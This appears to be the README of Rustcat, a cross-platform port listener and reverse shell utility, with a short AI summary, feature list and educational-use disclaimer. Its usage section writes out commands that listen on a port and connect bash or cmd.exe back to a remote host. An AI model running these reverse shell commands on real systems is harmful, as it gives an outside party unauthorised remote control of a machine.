AI Summary: Rustcat is a versatile port listener and reverse shell utility compatible with Linux, MacOS, and Windows, designed to simplify remote command execution. Notable features include an interactive mode with command history, tab completion, and CTRL-C blocking, which enhance user experience during shell operations. It provides two primary modes of operation: listening for incoming connections and establishing reverse shells for remote system access.

README

What is Rustcat

Rustcat is an easy to use port listener and reverse shell for Linux, MacOS, and Windows aimed to be easy to use and accessible.

Modes

• Listen mode (listen);
• Reverse shell mode (connect);

Features

• Command history & Tab completion (Interactive mode);
• CTRL-C blocking;
• Colors;
• Everything easy;

Installing

Check out the Installation Guide. Or if you want to have it portable, check out the latest release

Usage

The most basic and useful example to start listening on a port would be (you can even run vim inside rustcat with this):

rcat listen -ib 55600

and to connect:

rcat connect -s bash the.0.0.ip 55600

Reverse shell from Windows:

rcat connect -s cmd.exe the.0.0.ip 55600

For some more basic usage, check here

Disclaimer

This tool may be used for educational purposes only. Users take full responsibility for any actions performed using this tool. The author accepts no liability for damage caused by this tool. If these terms are not acceptable to you, then do not use this tool.